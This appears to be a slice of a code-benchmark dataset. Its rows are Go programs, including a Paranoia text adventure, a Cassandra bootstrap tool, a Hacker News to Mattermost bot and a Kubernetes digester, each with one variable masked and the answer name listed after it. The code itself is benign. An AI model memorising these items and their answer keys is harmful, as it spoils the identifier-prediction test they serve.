{ fmt.Println(""\nYou have been hit!"") s.HP -= DiceRoll(1, 10) if s.HP <= 0 { return s.NewClone(45) } } else { fmt.Println(""\nIt missed you, but not by much!"") } if DiceRoll(1, 100) <= 40 { fmt.Println(""\nYou zapped the little bastard!"") [MASK] -= DiceRoll(2, 10) if [MASK] <= 0 { fmt.Println(""\nYou wasted it! Good shooting!"") goto done } } else { fmt.Println(""\nDamn! You missed!"") } } fmt.Println(""\nIt tried to fire again, but the toy exploded and demolished it."") done: fmt.Print(""\nYou will need more evidence, so you search GDH7-beta further"") if s.HP < 10 { fmt.Print(""\nafter the GDH medbot has patched you up"") } fmt.Println(""."") s.HP = 10 return 22 }, 18: func(s *State) int { fmt.Print(` You walk to the centre of the hall, ogling like an infrared fresh from the clone vats. Towering before you is the most unearthly thing you have ever seen, a green multi armed mutant horror hulking 15 feet above your head. Its skeletal body is draped with hundreds of metallic strips (probably to negate the effects of some insidious mutant power), and the entire hideous creature is wrapped in a thousand blinking hazard lights. It's times like this when you wish you'd had some training for this job. Luckily the creature doesn't take notice of you but stands unmoving, as though waiting for a summons from its dark lord, the Master Retailer. WHAM, suddenly you are struck from behind. `) if DiceRoll(2, 10) < s.Abilities.Agility { return 19 } return 20 }, 19: func(s *State) int { fmt.Print(` Quickly you regain your balance, whirl and fire your laser into the Ultraviolet citizen behind you. For a moment your heart leaps to your throat, then you realise that he is indeed dead and you will be the only one filing a report on this incident. Besides, he was participating in this traitorous Christmas shopping, as is evident from the rain of shoddy toys falling all around you. Another valorous deed done in the service of The Computer! `) s.KillerCount++ if s.KillerCount > (MaxKill - s.Clone) { return 21 } else if s.Flags.ReadLetter { return 22 } return s.Choose( Choice{34, ""You search the body, keeping an eye open for Internal Security""}, Choice{22, ""You run away like the cowardly dog you are""}, ) }, 20: func(*State) int { fmt.Print(` Oh no! you can't keep your balance. You're falling, falling head first into the Christmas beast's gaping maw. It's a valiant struggle; you think you are gone when its poisonous needles dig into your flesh, but with a heroic effort you jerk a string of lights free and jam the live wires into the creature's spine. The Christmas beast topples to the ground and begins to burn, filling the area with a thick acrid smoke. It takes only a moment to compose yourself, and then you are ready to continue your search for the Master Retailer. `) return 22 }, 21: func(s *State) int { fmt.Print(` You have been wasting the leading citizens of Alpha Complex at a prodigious rate. This has not gone unnoticed by the Internal Security squad at GDH7-beta. Suddenly, a net of laser beams spear out of the gloomy corners of the hall, chopping you into teeny, weeny bite size pieces. `) return s.NewClone(45) }, 22: func(*State) int { fmt.Println(""\nYou are searching Goods Distribution Hall 7-beta."") return []int{18, 15, 18, 29}[DiceRoll(1, 4)-1] }, 23: func(s *State) int { fmt.Print(` You go to the nearest computer terminal and declare yourself a mutant. ""A mutant, he's a mutant,"" yells a previously unnoticed infrared who had been looking over your shoulder. You easily gun him down, but not before a dozen more citizens take notice and aim their weapons at you. `) return s.Choose( Choice{28, ""You tell them that it was really only a bad joke""}, Choice{24, ""You want to fight it out, one against twelve""}, ) }, 24: func(s *State) int { fmt.Print(` Golly, I never expected someone to pick this. I haven't even designed the 12 citizens who are going to make a sponge out of you. Tell you what, I'll give you a second chance. `) return s.Choose( Choice{28, ""You change your mind and say it was only a bad joke""}, Choice{25, ""You REALLY want to shoot it out""}, ) }, 25: func(s *State) int { fmt.Print(` Boy, you really can't take a hint! They're closing in. Their trigger fingers are twitching, they're about to shoot. This is your last chance. `) return s.Choose( Choice{28, ""You tell them it was all just a bad joke""}, Choice{26, ""You are going to shoot""}, ) }, 26: func(s *State) int { fmt.Print(` You can read the cold, sober hatred in their eyes (they really didn't think it was funny), as they tighten the circle around you. One of them shoves a blaster up your nose, but that doesn't hurt as much as the multi-gigawatt carbonium tipped food drill in the small of your back. You spend the remaining micro-seconds of your life wondering what you did wrong. `) return s.NewClone(32) }, 27: func(*State) int { // Doesn't exist. Can't happen with computer version. // Designed to catch dice cheats. return 0 }, 28: func(*State) int { fmt.Println(""\nThey don't think it's funny."") return 26 }, 29: func(s *State) int { fmt.Print(` ""Psst, hey citizen, come here. Pssfft,"" you hear. When you peer around you can see someone's dim outline in the shadows. ""I got some information on the Master Retailer. It'll only cost you 30 psst credits."" `) return s.Choose( Choice{30, ""You pay the 30 credits for the info""}, Choice{31, ""You would rather threaten him for the information""}, Choice{22, ""You ignore him and walk away""}, ) }, 30: func(s *State) int { fmt.Print(` You step into the shadows and offer the man a thirty credit bill. ""Just drop it on the floor,"" he says. ""So you're looking for the Master Retailer, pssfft? I've seen him, he's a fat man in a fuzzy red and white jump suit. They say he's a high programmer with no respect for proper security. If you want to find him then pssfft step behind me and go through the door."" Behind the man is a reinforced plasteel blast door. The centre of it has been buckled toward you in a manner you only saw once before when you were field testing the rocket assist plasma slingshot (you found it easily portable but prone to misfire). Luckily it isn't buckled too far for you to make out the warning sign. WARNING!! Don't open this door or the same thing will happen to you. Opening this door is a capital offense. Do not do it. Not at all. This is not a joke. `) return s.Choose( Choice{56, ""You use your Precognition mutant power on opening the door""}, Choice{33, ""You just go through the door anyway""}, Choice{22, ""You decide it's too dangerous and walk away""}, ) }, 31: func(s *State) int { fmt.Print(` Like any good troubleshooter you make the least expensive decision and threaten him for information. With lightning like reflexes you whip out your laser and stick it up his nose. ""Talk, you traitorous Christmas celebrator, or who nose what will happen to you, yuk yuk,"" you pun menacingly, and then you notice something is very wrong. He doesn't have a nose. As a matter of fact he's made of one eighth inch cardboard and your laser is sticking through the other side of his head. ""Are you going to pay?"" says his mouth speaker, ""or are you going to pssfft go away stupid?"" `) return s.Choose( Choice{30, ""You pay the 30 credits""}, Choice{22, ""You pssfft go away stupid""}, ) }, 32: func(*State) int { fmt.Print(` Finally it's your big chance to prove that you're as good a troubleshooter as your previous clone. You walk briskly to mission briefing and pick up your previous clone's personal effects and notepad. After reviewing the notes you know what has to be done. You catch the purple line to Goods Distribution Hall 7-beta and begin to search for the blast door. `) return 22 }, 33: func(s *State) int { s.Flags.BlastDoor = true fmt.Print(` You release the megabolts on the blast door, then strain against it with your awesome strength. Slowly the door creaks open. You bravely leap through the opening and smack your head into the barrel of a 300 mm 'ultra shock' class plasma cannon. It's dark in the barrel now, but just before your head got stuck you can remember seeing a group of technicians anxiously watch you leap into the room. `) if s.Flags.Ultraviolet { return 35 } return 36 }, 34: func(s *State) int { fmt.Print(` You have found a sealed envelope on the body. You open it and read: ""WARNING: Ultraviolet Clearance ONLY. DO NOT READ. Memo from Chico-U-MRX4 to Harpo-U-MRX5. The planned takeover of the Troubleshooter Training Course goes well, Comrade. Once we have trained the unwitting bourgeois troubleshooters to work as communist dupes, the overthrow of Alpha Complex will be unstoppable. My survey of the complex has convinced me that no one suspects a thing; soon it will be too late for them to oppose the revolution. The only thing that could possibly impede the people\'s revolution would be someone alerting The Computer to our plans (for instance, some enterprising Troubleshooter could tell The Computer that the communists have liberated the Troubleshooter Training Course and plan to use it as a jumping off point from which to undermine the stability of all Alpha Complex), but as we both know, the capitalistic Troubleshooters would never serve the interests of the proletariat above their own bourgeois desires. P.S. I'm doing some Christmas shopping later today. Would you like me to pick you up something?"" `) s.More() fmt.Print(` When you put down the memo you are overcome by that strange deja'vu again. You see yourself talking privately with The Computer. You are telling it all about the communists' plan, and then the scene shifts and you see yourself showered with awards for foiling the insidious communist plot to take over the complex. `) s.Flags.ReadLetter = true return s.Choose( Choice{46, ""You rush off to the nearest computer terminal to expose the commies""}, Choice{22, ""You wander off to look for more evidence""}, ) }, 35: func(s *State) int { fmt.Print(` ""Oh master,"" you hear through the gun barrel, ""where have you been? It is time for the great Christmas gifting ceremony. You had better hurry and get the costume on or the trainee may begin to suspect."" For the second time today you are forced to wear attire not of your own choosing. They zip the suit to your chin just as you hear gunfire erupt behind you. ""Oh no! Who left the door open? The commies will get in. Quick, fire the laser cannon or we're all doomed."" ""Too late you capitalist swine, the people's revolutionary strike force claims this cannon for the proletariat's valiant struggle against oppression. Take that, you running dog imperialist lackey. ZAP, KAPOW"" Just when you think that things couldn't get worse, ""Aha, look what we have here, the Master Retailer himself with his head caught in his own cannon. His death will serve as a symbol of freedom for all Alpha Complex. ""Fire the cannon."" `) return s.NewClone(32) }, 36: func(s *State) int { fmt.Print(` ""Congratulations, troubleshooter, you have successfully found the lair of the Master Retailer and completed the Troubleshooter Training Course test mission,"" a muffled voice tells you through the barrel. ""Once we dislodge your head from the barrel of the 'Ultra Shock' plasma cannon you can begin with the training seminars, the first of which will concern the 100% accurate identification and elimination of unregistered mutants. If you have any objections please voice them now."" `) next := s.Choose( Choice{32, ""You appreciate his courtesy and voice an objection""}, Choice{23, ""After your head is removed from the cannon, you register as a mutant""}, Choice{37, ""After your head is removed from the cannon, you go to the unregistered\n"" + "" mutant identification and elimination seminar""}, ) if next == 32 { return s.NewClone(32) } return next }, 37: func(*State) int { fmt.Print(` ""Come with me please, Troubleshooter,"" says the Green clearance technician after he has dislodged your head from the cannon. ""You have been participating in the Troubleshooter Training Course since you got off the tube car in GDH7-beta,"" he explains as he leads you down a corridor. ""The entire Christmas assignment was a test mission to assess your current level of training. You didn't do so well. We're going to start at the beginning with the other student. Ah, here we are, the mutant identification and elimination lecture."" He shows you into a vast lecture hall filled with empty seats. There is only one other student here, a Troubleshooter near the front row playing with his Action Troubleshooter(tm) figure. ""Find a seat and I will begin,"" says the instructor. `) return 38 }, 38: func(s *State) int { fmt.Printf(`""I am Plato-B-PHI%d, head of mutant propaganda here at the training course.`, s.PlatoClone) fmt.Print(` If you have any questions about mutants please come to me. Today I will be talking about mutant detection. Detecting mutants is very easy. One simply watches for certain tell tale signs, such as the green scaly skin, the third arm growing from the forehead, or other similar disfigurements so common with their kind. There are, however, a few rare specimens that show no outward sign of their treason. This has been a significant problem, so our researchers have been working on a solution. I would like a volunteer to test this device,"" he says, holding up a ray gun looking thing. ""It is a mutant detection ray. This little button detects for mutants, and this big button stuns them once they are discovered. Who would like to volunteer for a test?"" The Troubleshooter down the front squirms deeper into his chair. `) return s.Choose( Choice{39, ""You volunteer for the test""}, Choice{40, ""You duck behind a chair and hope the instructor doesn't notice you""}, ) }, 39: func(*State) int { fmt.Print(` You bravely volunteer to test the mutant detection gun. You stand up and walk down the steps to the podium, passing a very relieved Troubleshooter along the way. When you reach the podium Plato-B-PHI hands you the mutant detection gun and says, ""Here, aim the gun at that Troubleshooter and push the small button. If you see a purple light, stun him."" Grasping the opportunity to prove your worth to The Computer, you fire the mutant detection ray at the Troubleshooter. A brilliant purple nimbus instantly surrounds his body. You slip your finger to the large stun button and he falls writhing to the floor. ""Good shot,"" says the instructor as you hand him the mutant detection gun, ""I'll see that you get a commendation for this. It seems you have the hang of mutant detection and elimination. You can go on to the secret society infiltration class. I'll see that the little mutie gets packaged for tomorrow's mutant dissection class."" `) return 41 }, 40: func(s *State) int { fmt.Print(` You breathe a sigh of relief as Plato-B-PHI picks on the other Troubleshooter. ""You down here in the front,"" says the instructor pointing at the other Troubleshooter, ""you'll make a good volunteer. Please step forward."" The Troubleshooter looks around with a 'who me?' expression on his face, but since he is the only one visible in the audience he figures his number is up. He walks down to the podium clutching his Action Troubleshooter(tm) doll before him like a weapon. ""Here,"" says Plato-B-PHI, ""take the mutant detection ray and point it at the audience. If there are any mutants out there we'll know soon enough."" Suddenly your skin prickles with static electricity as a bright purple nimbus surrounds your body. ""Ha Ha, got one,"" says the instructor. ""Stun him before he gets away."" `) s.More() for { if DiceRoll(1, 100) <= 30 { fmt.Println(""\nHis shot hits you. You feel numb all over."") return 49 } fmt.Println(""\nHis shot just missed."") if DiceRoll(1, 100) <= 40 { fmt.Println(""\nYou just blew his head off. His lifeless hand drops the mutant detector ray."") return 50 } fmt.Println(""\nYou burnt a hole in the podium. He sights the mutant detector ray on you."") } }, 41: func(s *State) int { fmt.Print(` You stumble down the hallway of the Troubleshooter Training Course looking for your next class. Up ahead you see one of the instructors waving to you. When you get there he shakes your hand and says, ""I am Jung-I-PSY. Welcome to the secret society infiltration seminar. I hope you ..."" You don't catch the rest of his greeting because you're paying too much attention to his handshake; it is the strangest thing that has ever been done to your hand, sort of how it would feel if you put a neuro whip in a high energy palm massage unit. It doesn't take you long to learn what he is up to; you feel him briefly shake your hand with the secret Illuminati handshake. `) return s.Choose( Choice{42, `You respond with the proper Illuminati code phrase, ""Ewige Blumenkraft""`}, Choice{43, ""You ignore this secret society contact""}, ) }, 42: func(s *State) int { fmt.Print(` ""Aha, so you are a member of the elitist Illuminati secret society,"" he says loudly, ""that is most interesting."" He turns to the large class already seated in the auditorium and says, ""You see, class, by simply using the correct hand shake you can identify the member of any secret society. Please keep your weapons trained on him while I call a guard. `) return s.Choose( Choice{51, ""You run for it""}, Choice{52, ""You wait for the guard""}, ) }, 43: func(s *State) int { fmt.Print(` You sit through a long lecture on how to recognise and infiltrate secret societies, with an emphasis on mimicking secret handshakes. The basic theory, which you realise to be sound from your Iluminati training, is that with the proper handshake you can pass unnoticed in any secret society gathering. What's more, the proper handshake will open doors faster than an 'ultra shock' plasma cannon. You are certain that with the information you learn here you will easily be promoted to the next level of your Illuminati secret society. The lecture continues for three hours, during which you have the opportunity to practice many different handshakes. Afterwards everyone is directed to attend the graduation ceremony. Before you must go you have a little time to talk to The Computer about, you know, certain topics. `) return s.Choose( Choice{44, ""You go looking for a computer terminal""}, Choice{55, ""You go to the graduation ceremony immediately""}, ) }, 44: func(s *State) int { fmt.Print(` You walk down to a semi-secluded part of the training course complex and activate a computer terminal. ""AT YOUR SERVICE"" reads the computer screen. `) if s.Flags.ReadLetter { return s.Choose( Choice{23, ""You register yourself as a mutant""}, Choice{55, ""You change your mind and go to the graduation ceremony""}, ) } return s.Choose( Choice{23, ""You register yourself as a mutant""}, Choice{46, ""You want to chat about the commies""}, Choice{55, ""You change your mind and go to the graduation ceremony""}, ) }, 45: func(*State) int { fmt.Print(` "","" snorts the alarm in your living quarters. Something is up. You look at the monitor above the bathroom mirror and see the message you have been waiting for all these years. ""ATTENTION TROUBLESHOOTER, YOU ARE BEING ACTIVATED. PLEASE REPORT IMMEDIATELY TO MISSION ASSIGNMENT ROOM A17/GAMMA/LB22. THANK YOU. THE COMPUTER IS YOUR FRIEND."" When you arrive at mission assignment room A17-gamma/LB22 you are given your previous clone's remaining possessions and notebook. You puzzle through your predecessor's cryptic notes, managing to decipher enough to lead you to the tube station and the tube car to GDH7-beta. `) return 10 }, 46: func(s *State) int { fmt.Print(` ""Why do you ask about the communists, Troubleshooter? It is not in the interest of your continued survival to be asking about such topics,"" says The Computer. `) return s.Choose( Choice{53, ""You insist on talking about the communists""}, Choice{54, ""You change the subject""}, ) }, 47: func(*State) int { fmt.Print(` The Computer orders the entire Vulture squadron to terminate the Troubleshooter Training Course. Unfortunately you too are terminated for possessing classified information. Don't act so innocent, we both know that you are an Illuminatus which is in itself an act of treason. Don't look to me for sympathy. THE END `) return 0 }, 48: func(s *State) int { fmt.Print(` The tubecar shoots forward as you enter, slamming you back into a pile of garbage. The front end rotates upward and you, the garbage and the garbage disposal car shoot straight up out of Alpha Complex. One of the last things you see is a small blue sphere slowly dwindling behind you. After you fail to report in, you will be assumed dead. `) return s.NewClone(45) }, 49: func(s *State) int { fmt.Print(` The instructor drags your inert body into a specimen detainment cage. ""He'll make a good subject for tomorrow's mutant dissection class,"" you hear. `) return s.NewClone(32) }, 50: func(s *State) int { fmt.Print(` You put down the other Troubleshooter, and then wisely decide to drill a few holes in the instructor as well; the only good witness is a dead witness. You continue with the training course. `) s.PlatoClone++ return 41 }, 51: func(s *State) int { fmt.Print(` You run for it, but you don't run far. Three hundred strange and exotic weapons turn you into a freeze dried cloud of soot. `) return s.NewClone(32) }, 52: func(*State) int { fmt.Print(` You wisely wait until the instructor returns with a Blue Internal Security guard. The guard leads you to an Internal Security self incrimination station. `) return 2 }, 53: func(s *State) int { fmt.Println(""\nYou tell The Computer about:"") return s.Choose( Choice{47, ""The commies who have infiltrated the Troubleshooter Training Course\n"" + "" and the impending People's Revolution""}, Choice{54, ""Something less dangerous""}, ) }, 54: func(s *State) int { fmt.Print(` ""Do not try to change the subject, Troubleshooter,"" says The Computer. ""It is a serious crime to ask about the communists. You will be terminated immediately. Thank you for your inquiry. The Computer is your friend."" Steel bars drop to your left and right, trapping you here in the hallway. A spotlight beams from the computer console to brilliantly iiluminate you while the speaker above your head rapidly repeats ""Traitor, Traitor, Traitor."" It doesn't take long for a few guards to notice your predicament and come to finish you off. `) if !s.Flags.BlastDoor { return s.NewClone(45) } return s.NewClone(32) }, 55: func(s *State) int { fmt.Print(` You and 300 other excited graduates are marched from the lecture hall and into a large auditorium for the graduation exercise. The auditorium is extravagantly decorated in the colours of the graduating class. Great red and green plasti-paper ribbons drape from the walls, while a huge sign reading ""Congratulations class of GDH7-beta-203.44/A"" hangs from the raised stage down front. Once everyone finds a seat the ceremony begins. Jung-I-PSY is the first to speak, ""Congratulations students, you have successfully survived the Troubleshooter Training Course. It always brings me great pride to address the graduating class, for I know, as I am sure you do too, that you are now qualified for the most perilous missions The Computer may select for you. The thanks is not owed to us of the teaching staff, but to all of you, who have persevered and graduated. Good luck and die trying."" `) s.More() fmt.Printf(` Then the instructor begins reading the names of the students who one by one walk to the front of the auditorium and receive their diplomas. Soon it is your turn, ""Philo-R-DMD, graduating a master of mutant identification and secret society infiltration."" You walk up and receive your diploma from Plato-B-PHI%d, then return to your seat. There is another speech after the diplomas are handed out, but it is cut short by by rapid fire laser bursts from the high spirited graduating class. You are free to return to your barracks to wait, trained and fully qualified, for your next mission. You also get that cherished promotion from the Illuminati secret society. In a week you receive a detailed Training Course bill totalling 1,523 credits. THE END `, s.PlatoClone) return 0 }, 56: func(s *State) int { fmt.Print(` That familiar strange feeling of deja'vu envelops you again. It is hard to say, but whatever is on the other side of the door does not seem to be intended for you. `) return s.Choose( Choice{33, ""You open the door and step through""}, Choice{22, ""You go looking for more information""}, ) }, 57: func(s *State) int { fmt.Print(` In the centre of the room is a table and a single chair. There is an Orange folder on the table top, but you can't make out the lettering on it. `) return s.Choose( Choice{11, ""You sit down and read the folder""}, Choice{12, ""You leave the room""}, ) }, } // DiceRoll rolls a |d|-sided die |n| times and returns the total. func DiceRoll(n, d int) int { var total int for i := 0; i < n; i++ { total += rand.Intn(d) + 1 } return total } // GetChar reads a line of input and returns the first byte from that input. // This is plain ASCII handling, and UTF-8 encoded input is not supported. // It returns '\n' for lines of empty input. func GetChar() byte { text, err := input.ReadString('\n') if err != nil { log.Fatalf(""input failure: %v"", err) } if len(text) == 0 || text[0] == '\r' { return '\n' } fmt.Println() return text[0] } // main starts up a single game. func main() { rand.Seed(time.Now().UnixNano()) s := NewState() s.Instructions() s.More() s.Character() s.More() for s.Page = s.Exec(); s.Page != 0; s.Page = s.Exec() { } } ",robotHP 205,"package main import ( ""os"" ""github.com/mesosphere/kudo-cassandra-operator/images/bootstrap/pkg/client"" ""github.com/mesosphere/kudo-cassandra-operator/images/bootstrap/pkg/service"" log ""github.com/sirupsen/logrus"" ) func main() { log.Infoln(""bootstrap: Bootstrapping Cassandra..."") client, err := client.GetKubernetesClient() if err != nil { log.Fatalf(""bootstrap: Error initializing client: %+v"", err) } [MASK] := service.NewCassandraService(client) if len(os.Args) != 2 { log.Errorf(""bootstrap: Wrong number of arguments: %d, must be 2: %v"", len(os.Args), os.Args) os.Exit(1) } command := os.Args[1] switch command { case ""wait"": log.Infof(""Start waiting for Cassandra to be up"") if err := [MASK] .Wait(); err != nil { log.Errorf(""bootstrap: timeout waiting for UN/UJ for Cassandra node: %v\n"", err) os.Exit(1) } case ""init"": // bootstrap to fetch the replace IP if err := [MASK] .SetReplaceIPWithRetry(); err != nil { log.Errorf(""bootstrap: could not run the cassandra bootstrap: %v\n"", err) os.Exit(1) } log.Infof(""bootstrap: Finish Cassandra bootstrap init"") default: log.Errorf(""bootstrap: unrecognized command '%s' for cassandra bootstrap"", command) os.Exit(1) } os.Exit(0) } ",cassandraService 206,"package h2m import ( ""errors"" ""fmt"" log ""github.com/Sirupsen/logrus"" ""github.com/eternnoir/hn2mm/h2m/payloads"" ""github.com/eternnoir/hn2mm/h2m/utils"" ""github.com/eternnoir/hn2mm/h2m/utils/db"" ""time"" ) type H2m struct { targets []*TargetChannel Interval time.Duration checker utils.NewStoryChecker topStoryChannel chan int64 PostedStories []int64 } type TargetChannel struct { WebhookUrl string Channel *string Username *string } func NewH2mByConfig(config *MMConfig) (*H2m, error) { target := new(TargetChannel) if config.Channel != """" { target.Channel = &config.Channel } if config.Username != """" { target.Username = &config.Username } target.WebhookUrl = config.WebhookUrl return NewH2m([]*TargetChannel{target}, config.CheckNewInterval.Duration, config.DbString) } func NewH2m(targets []*TargetChannel, [MASK] time.Duration, dbc string) (*H2m, error) { if len(targets) < 1 { return nil, errors.New(""Target channel cannot be empty."") } if [MASK] < 1 { return nil, errors.New(""Interval seconds must over 1 sec."") } checker, err := InitChecker(dbc) if err != nil { return nil, err } h2m := &H2m{targets: targets, Interval: [MASK] , checker: checker, topStoryChannel: make(chan int64, 100), PostedStories: []int64{}} return h2m, nil } func InitChecker(dbc string) (utils.NewStoryChecker, error) { // Only support sqlite3 now. return db.NewSqliteChecker(dbc) } func (h2m *H2m) Start() { go h2m.processNewTopStories() for { h2m.GetAndCheckTopStory() time.Sleep(h2m.Interval) } } func (h2m *H2m) GetAndCheckTopStory() { topStoryIds, err := utils.GetTopStories() if err != nil { log.Errorf(""Get top story ids error. %s"", err) } for _, id := range topStoryIds { isnew, err := h2m.checker.IsNewSotry(id) if err != nil { log.Errorf(""Check story id error. %s"", err) } if isnew { err = h2m.checker.AddPostedStory(id) if err != nil { log.Errorf(""Add new story id error. %s"", err) } log.Infof(""Get new story id.%d"", id) h2m.topStoryChannel <- id } } } func (h2m *H2m) processNewTopStories() { for { newStoryId := <-h2m.topStoryChannel item, err := utils.GetStory(newStoryId) if err != nil { log.Errorf(""Get story item fail. %s"", err) continue } log.Infof(""Get new story item.%#v"", item) go h2m.fireToMatterMost(item) } } func (h2m *H2m) fireToMatterMost(story *payloads.HNItem) { for _, target := range h2m.targets { mmpayload := &payloads.MatterMostPayload{Channel: target.Channel, Username: target.Username} text := fmt.Sprintf(""New Hakcer News: [%s](%s) by %s"", story.Title, story.Url, story.By) log.Debugf(""Send payload to mattermost.%s"", text) mmpayload.Text = &text json, err := mmpayload.Serialize() if err != nil { log.Errorf(""Send to targer: %#v payload %#v tojson fail.%s"", target, mmpayload, err) continue } log.Debugf(""Send to targer: %#v payload %s"", target, string(json)) _, err = utils.SendRequest(target.WebhookUrl, string(json)) if err != nil { log.Errorf(""Send to targer: %#v payload %#v fail. Error: %s."", target, mmpayload, err) continue } } } ",interval 207,"package main import( ""fmt"" ""io/ioutil"" ""strings"" ""sync"" ""flag"" ) var jsFiles = make([]string, 10) var htmlFiles = make([]string, 10) var usedJsFiles = make([]string, 10) var complete chan int = make(chan int) var wg sync.WaitGroup func main(){ // E:\\workspace-sts-3.8.1.RELEASE\\demo\\bootdo path := flag.String(""path"",""/Users/liangyuanpeng/"",""dir path"") flag.Parse() readDir(*path,"""") fmt.Println(len(jsFiles)) fmt.Println(len(htmlFiles)) for k, v := range jsFiles { fmt.Println(k,v) go readJsInHtml(k,v); //for kh, vh := range htmlFiles { // fmt.Println(len(jsFiles),k,len(htmlFiles),kh,vh) // b,err := ioutil.ReadFile(vh) // if err != nil { // fmt.Println(err) // } // str := string(b) // if strings.Contains(str,v){ // usedJsFiles = append(usedJsFiles,v) // break; // } //} } //<- complete wg.Wait() fmt.Println(len(jsFiles),len(usedJsFiles)) //6760 1918 } func readJsInHtml( [MASK] int,jsFile string){ wg.Add(1) //complete <- 0 for kh, vh := range htmlFiles { fmt.Println(len(jsFiles), [MASK] ,len(htmlFiles),kh,vh) b,err := ioutil.ReadFile(vh) if err != nil { fmt.Println(err) } str := string(b) if strings.Contains(str,jsFile){ usedJsFiles = append(usedJsFiles,jsFile) break; } } wg.Done() } func readDir(dirPath string, tab string){ flist,e := ioutil.ReadDir(dirPath) if e != nil { fmt.Println(""Read file error s%"",e) return } for _,f := range flist { if f.IsDir(){ //fmt.Println(tab,""+"",dirPath+""/""+f.Name()) readDir(dirPath+""/""+f.Name(),tab+""\t"") }else{ //fmt.Println(tab,"","",dirPath+""/""+f.Name()) //b,err := ioutil.ReadFile(dirPath+""/""+f.Name()) //if err != nil { // fmt.Println(err) //} //str := string(b) if strings.HasSuffix(f.Name(),"".js"") { //fmt.Println(""have js file "",f.Name()) jsFiles = append(jsFiles,f.Name()) } if strings.HasSuffix(f.Name(),"".html""){ htmlFiles = append(htmlFiles,dirPath+""/""+f.Name()) } } } } ",jsIndex 208,"// Copyright 2021 Google LLC // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package function provides the command to run the KRM function. package function import ( ""context"" ""fmt"" ""os"" ""path/filepath"" ""github.com/go-logr/logr"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/clientcmd"" ""k8s.io/client-go/util/homedir"" ""sigs.k8s.io/kustomize/kyaml/fn/framework"" ""sigs.k8s.io/kustomize/kyaml/fn/framework/command"" ""github.com/google/k8s-digester/pkg/logging"" ""github.com/google/k8s-digester/pkg/resolve"" ""github.com/google/k8s-digester/pkg/util"" ) // Cmd creates the KRM function command. This is the root command. func Cmd(ctx context.Context) *cobra.Command { log := logging.CreateStdLogger(""digester"") [MASK] := createResourceFn(ctx, log) cmd := command.Build(framework.ResourceListProcessorFunc( [MASK] ), command.StandaloneDisabled, false) customizeCmd(cmd) return cmd } // createResourceFn returns a function that iterates over the items in the // resource list. func createResourceFn(ctx context.Context, log logr.Logger) framework.ResourceListProcessorFunc { return func(resourceList *framework.ResourceList) error { log.V(2).Info(""kubeconfig"", ""kubeconfig"", viper.GetString(""kubeconfig"")) log.V(2).Info(""offline"", ""offline"", viper.GetBool(""offline"")) log.V(2).Info(""skip-prefixes"", ""skip-prefixes"", util.StringArray(viper.GetString(""skip-prefixes""))) var config *rest.Config if !viper.GetBool(""offline"") { var kubeconfig string var err error kubeconfigs := util.StringArray(viper.GetString(""kubeconfig"")) if len(kubeconfigs) > 0 { kubeconfig = kubeconfigs[0] } config, err = createConfig(log, kubeconfig) if err != nil { return fmt.Errorf(""could not create k8s client config: %w"", err) } } for _, r := range resourceList.Items { if err := resolve.ImageTags(ctx, log, config, r, util.StringArray(viper.GetString(""skip-prefixes""))); err != nil { return err } } return nil } } // customizeCmd modifies the kyaml function framework command by adding flags // that this KRM function needs, and to make it more user-friendly. func customizeCmd(cmd *cobra.Command) { cmd.Use = ""digester"" cmd.Short = ""Resolve container image tags to digests"" cmd.Long = ""Digester adds digests to container and "" + ""init container images in Kubernetes pod and pod template "" + ""specs.\n\nUse either as a mutating admission webhook, "" + ""or as a client-side KRM function with kpt or kustomize."" cmd.Flags().String(""kubeconfig"", getKubeconfigDefault(), ""(optional) absolute path to the kubeconfig file. Requires offline=false."") viper.BindPFlag(""kubeconfig"", cmd.Flags().Lookup(""kubeconfig"")) viper.BindEnv(""kubeconfig"") cmd.Flags().Bool(""offline"", true, ""do not connect to Kubernetes API server to retrieve imagePullSecrets"") viper.BindPFlag(""offline"", cmd.Flags().Lookup(""offline"")) viper.BindEnv(""offline"") cmd.Flags().String(""skip-prefixes"", """", ""(optional) image prefixes that should not be resolved to digests, colon separated"") viper.BindPFlag(""skip-prefixes"", cmd.Flags().Lookup(""skip-prefixes"")) viper.BindEnv(""skip-prefixes"", ""SKIP_PREFIXES"") } // getKubeconfigDefault determines the default value of the --kubeconfig flag. func getKubeconfigDefault() string { var kubeconfigDefault string home := homedir.HomeDir() if home != """" { kubeconfigHomePath := filepath.Join(home, "".kube"", ""config"") if _, err := os.Stat(kubeconfigHomePath); err == nil { kubeconfigDefault = kubeconfigHomePath } } return kubeconfigDefault } // createConfig creates a k8s client config using either in-cluster config // or the provided kubeconfig file. func createConfig(log logr.Logger, kubeconfig string) (*rest.Config, error) { if kubeconfig == """" { log.V(1).Info(""using in-cluster config"") return rest.InClusterConfig() } log.V(1).Info(""using kubeconfig file"", ""kubeconfig"", kubeconfig) return clientcmd.BuildConfigFromFlags("""", kubeconfig) } ",resourceFn 209,"package main import ( ""ethclient/logger"" ""ethclient/test"" ""gopkg.in/ini.v1"" ""log"" ""sync"" ) const ( EthClientConfFilePath = ""conf/my.ini"" ) func initLogger() error { //fileHandler := logger.NewFileHandler(""test.log"") //logger.SetHandlers(logger.Console, fileHandler) logger.SetHandlers(logger.Console) //defer logger.Close() logger.SetFlags(log.Ldate | log.Ltime | log.Lshortfile) logger.SetLevel(logger.INFO) return nil } func main() { err := initLogger() if err != nil { log.Fatalln(err) } cfg, err := ini.Load(EthClientConfFilePath) if err != nil { logger.Error(err) return } [MASK] := cfg.Section("""").Key(""EthServerIpPort"").String() coinbase := cfg.Section("""").Key(""Coinbase"").String() pw := cfg.Section("""").Key(""Password"").String() ks := cfg.Section("""").Key(""KeyStore"").String() var wg sync.WaitGroup wg.Add(1) _, err = test.NewEthClientTest( [MASK] , coinbase, pw, ks, &wg) if err != nil { logger.Error(err) return } wg.Wait() logger.Debug(""ethereum client exit"") } ",ipport 210,"package main import ( ""fmt"" ""github.com/micro/go-micro/config"" cryptoSSH ""golang.org/x/crypto/ssh"" ""gopkg.in/go-playground/webhooks.v5/gitlab"" ""gopkg.in/src-d/go-git.v4"" ""gopkg.in/src-d/go-git.v4/plumbing/transport"" gitHTTP 